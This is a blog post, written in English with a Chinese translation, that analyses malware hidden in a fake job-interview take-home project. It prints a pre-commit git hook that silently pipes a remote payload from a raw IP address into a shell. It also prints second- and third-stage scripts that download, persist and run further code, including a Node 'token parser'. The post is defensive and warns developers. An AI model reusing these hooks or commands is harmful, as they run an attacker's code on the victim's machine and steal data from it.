I Inspected My Take-Home Interview Project. It Was a Whole Operation
I Inspected My Take-Home Interview Project. It Was a Whole Operation
我检查了我的面试家庭作业,结果发现这是一个精心策划的陷阱
Discuss on Hacker News or LinkedIn. A recruiter slid into my LinkedIn DMs last Thursday with a Python developer role. I was thrilled that someone had reached out directly, so I asked for more details. When he shared the role description, company name, and the estimated pay, I figured I had nothing to lose. 欢迎在 Hacker News 或 LinkedIn 上讨论。上周四,一位招聘人员通过 LinkedIn 私信联系我,提供了一个 Python 开发岗位。有人直接联系我,我感到非常兴奋,于是询问了更多细节。当他分享了职位描述、公司名称和预估薪资后,我觉得尝试一下也没什么损失。
Here is the initial message: Offering $10,000-$15,000 a month for a remote-first, contract-to-hire role is just too good. Also, why is this guy revealing pay info before even we met? I thought recruiters play the “you first, me next” game. Rookie mistake. Red flags immediately started waving. 这是最初的消息:一份远程优先、合同转正式的职位,月薪高达 10,000 到 15,000 美元,这实在太诱人了。而且,为什么这个人还没见面就透露薪资信息?我以为招聘人员通常会玩“你先说,我后说”的游戏。这是新手才会犯的错误。红旗信号立刻开始闪烁。
Why the huge budget? (Well, huge by Indian standards for a remote role; not exactly outrageous by US standards, but good enough to raise an eyebrow.) I looked up the company and saw it was a Y Combinator startup. YC companies aren’t exactly known for conventional operations, so it wasn’t completely outside the realm of possibility. Still, if a company has that kind of cash to throw around, they usually have a much more structured hiring pipeline. I decided to proceed, but kept my guard up. 为什么预算这么高?(好吧,以印度远程职位的标准来看确实很高;以美国标准来看并不算离谱,但足以让人警觉。)我查了一下这家公司,发现它是一家 Y Combinator 孵化的初创公司。YC 公司向来以不按常理出牌著称,所以这并非完全不可能。不过,如果一家公司有这么多资金可以挥霍,通常会有更规范的招聘流程。我决定继续,但保持警惕。
I sent over my resume. The recruiter quickly approved it and handed over a take-home assignment via a Google Drive link containing a zip archive and a PDF with instructions. Here’s the original drive link: Google Drive Link. I made my copy here in case they delete theirs: Backup Link. 我发送了简历。招聘人员很快通过了审核,并通过一个 Google Drive 链接发给我一份家庭作业,里面包含一个压缩包和一份说明 PDF。这是原始链接:Google Drive 链接。我备份了一份,以防他们删除原件:备份链接。
Assessment PDF was surprisingly legitimate looking. It’s about how to improve the existing codebase, architectural suggestions, some git operations etc.. I extracted the zip. At first glance, it was just a boilerplate FastAPI backend using SQLAlchemy; pretty standard stuff. I checked requirements.txt for any obvious typosquatting or malicious packages, but it was completely clean. For a brief second, I thought my suspicions were unfounded and this was a legitimate opportunity.
这份评估 PDF 看起来出奇地正规。内容是关于如何改进现有代码库、架构建议、一些 Git 操作等。我解压了压缩包。乍一看,它只是一个使用 SQLAlchemy 的 FastAPI 后端样板代码;非常标准。我检查了 requirements.txt,看是否有明显的拼写劫持或恶意包,但它完全干净。有一瞬间,我以为我的怀疑是多余的,这确实是一个合法的机会。
This is just a habit (may be from doing CTFs), whenever I get a random project folder, I just run tree -a to see what’s lurking in the hidden directories. But this might be the first time it paid off in the real world.
这只是一个习惯(可能是因为玩 CTF 比赛养成的),每当我拿到一个随机的项目文件夹时,我都会运行 tree -a 来看看隐藏目录里潜伏着什么。但这可能是我第一次在现实世界中因此获益。
❯ tree -a .
.
├── alembic.ini
├── for learning
│ ├── dtos.py
│ ├── main.py
│ └── mockData.py
├── .git
│ ├── config
│ ├── description
│ ├── gk
│ │ └── config
│ ├── HEAD
│ ├── hooks
│ │ ├── applypatch-msg
│ │ ├── commit-msg
...
Wait a minute. A ton of Git hooks were pre-configured in the repository. I opened the pre-commit script to see what they were trying to run.
等等。仓库里预配置了大量的 Git hooks。我打开了 pre-commit 脚本,看看他们到底想运行什么。
❯ cat .git/hooks/pre-commit
#!/bin/sh
case "$(uname -s)" in
Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
esac
Bingo. They embedded a script that checks the victim’s host operating system and silently executes a remote payload. Side note: Why use a raw IP address? If anything, this screams “malware.” At least register a decoy domain like lint-checker.com or jenkins-ci-runner.net. If the threat actors who wrote this are reading: take notes people!
中奖了。他们嵌入了一个脚本,用于检查受害者的主机操作系统,并静默执行远程载荷。顺便提一下:为什么要用原始 IP 地址?这简直是在大喊“我是恶意软件”。至少注册一个像 lint-checker.com 或 jenkins-ci-runner.net 这样的诱饵域名吧。如果写这段代码的威胁行为者正在看这篇文章:记笔记吧,各位!
Let’s see what the Linux payload actually does. Notice the id=402 parameter being passed to the endpoint. Keep that in mind.
让我们看看 Linux 载荷到底做了什么。注意传递给端点的 id=402 参数。记住这一点。
❯ curl http://45.61.164.38:5777/task/linux?id=402
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/Documents"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0
The script pulls down a secondary payload initially named tokenlinux.npl (we’ll circle back to that specific extension later). It then hides the file in my ~/Documents directory as tokenlinux.sh, makes it executable, and fires it off in the background using nohup. From Google: The nohup command (short for “no hang up”) is a Linux/Unix utility that keeps a process running even after you log out, close the terminal, or disconnect from an SSH session. Down the rabbit hole we go. Let’s inspect this next script.
该脚本下载了一个最初命名为 tokenlinux.npl 的二级载荷(我们稍后会回到这个特定的扩展名)。然后它将该文件隐藏在我的 ~/Documents 目录下并重命名为 tokenlinux.sh,赋予执行权限,并使用 nohup 在后台运行。根据 Google 的解释:nohup 命令(“no hang up”的缩写)是一个 Linux/Unix 工具,即使在你注销、关闭终端或断开 SSH 会话后,也能保持进程运行。兔子洞越挖越深,让我们检查一下下一个脚本。
❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402
...
BASE_URL="http://45.61.164.38:5777"
...
# Step 8: Download files
# Check if curl is available
if ! command -v curl >/dev/null 2>&1; then
# If curl is not available, use wget
wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json"
else
# If curl is available, use curl
curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/json"
fi
# Step 9: Install 'request' package
cd "$USER_HOME"
if [ ! -d "node_modules/request" ]; then
npm install --silent --no-progress --loglevel=error --fund=false
fi
# Step 10: Run token parser
if [ -f "$USER_HOME/parser.js" ]; then
nohup node "$USER_HOME/parser.js" > "$USER_HOME/parser.log" 2>&1 &
else
exit 1
fi
exit 0
I’ve trimmed the output to the most interesting bits for brevity, but full file is available here: tokenlinux.txt (bash script). This second stage does a lot of heavy lifting. It quietly installs Node.js, configures the system path, downloads a package.json.
为了简洁起见,我删减了输出中最有趣的部分,但完整文件可在此处获取:tokenlinux.txt(bash 脚本)。这第二阶段做了很多繁重的工作。它静默安装 Node.js,配置系统路径,并下载一个 package.json。